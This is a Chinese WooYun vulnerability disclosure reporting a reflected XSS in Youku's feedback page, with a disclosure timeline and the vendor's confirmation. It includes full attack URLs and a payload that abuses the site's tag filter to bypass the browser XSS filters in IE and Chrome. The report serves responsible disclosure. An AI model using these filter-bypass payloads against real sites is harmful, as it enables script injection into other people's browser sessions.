漏洞详情

披露状态:

2014-03-30: 细节已通知厂商并且等待厂商处理中
2014-03-30: 厂商已经确认,细节仅向厂商公开
2014-04-09: 细节向核心白帽子及相关领域专家公开
2014-04-19: 细节向普通白帽子公开
2014-04-29: 细节向实习白帽子公开
2014-05-14: 细节向公众公开

简要描述:

不恰当的过滤规则导致浏览器Anti-XSS功能被绕过

详细说明:

看电影看的太卡了,实在受不了就去在线反馈去了,反馈完了又手痒试了试,结果还真有XSS。



你们的过滤规则大概是这样:



如果出现Anchor标签以外的标签就直接将它移除。不过这个移除还有一个大前提就是你们只移除闭合的标签,如果我的URL是这样:



http://www.youku.com/service/feed/subtype/2/?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%27%22%3E%3Ca%3E?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%27%3E%3Csvg/onload=alert%28document.domain%29%2b%27





最后插进去就会变成:



<input type='hidden' name='videoTitle' value=''><svg/onload=alert(document.domain) '' />





不过这个只在Firefox下有效。因为IE和Chrome都有自己的Anti-XSS功能。这里就可以借助你们的过滤器来绕过了。我们构造这样的URL:



http://www.youku.com/service/feed/subtype/2/?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%27%22%3E%3Ca%3E?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%27%3E%3Cstyle/onl%3Cmeta%3Eoad=alert%28/z7y/%29%2b%27





从上面的URL当中可以看到我的payload是:



'><style/onl<meta>oad=alert(/z7y/)%2b'



其中'>的部分用来闭合前面的标签。后面的部分由于会触发过滤器规则,所以选择不去闭合它。最关键的中间的部分。对于Anti-XSS来说'><style/onl<meta>oad=alert(/z7y/)%2b'是无害的,因为这里并没有出现预期的onload。但最后输出时,由于你们的过滤器会过滤所有非Anchor的闭合标签,最终导致这个XSS通杀。





漏洞证明:

Firefox:

firefox.png



Chrome:

chrome.png



Internet Explorer:

IE.png

修复方案:

暂无

版权声明:转载请注明来源 mramydnei@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-03-30 21:09

厂商回复:

多谢提醒,马上修复。

最新状态:

暂无


漏洞评价: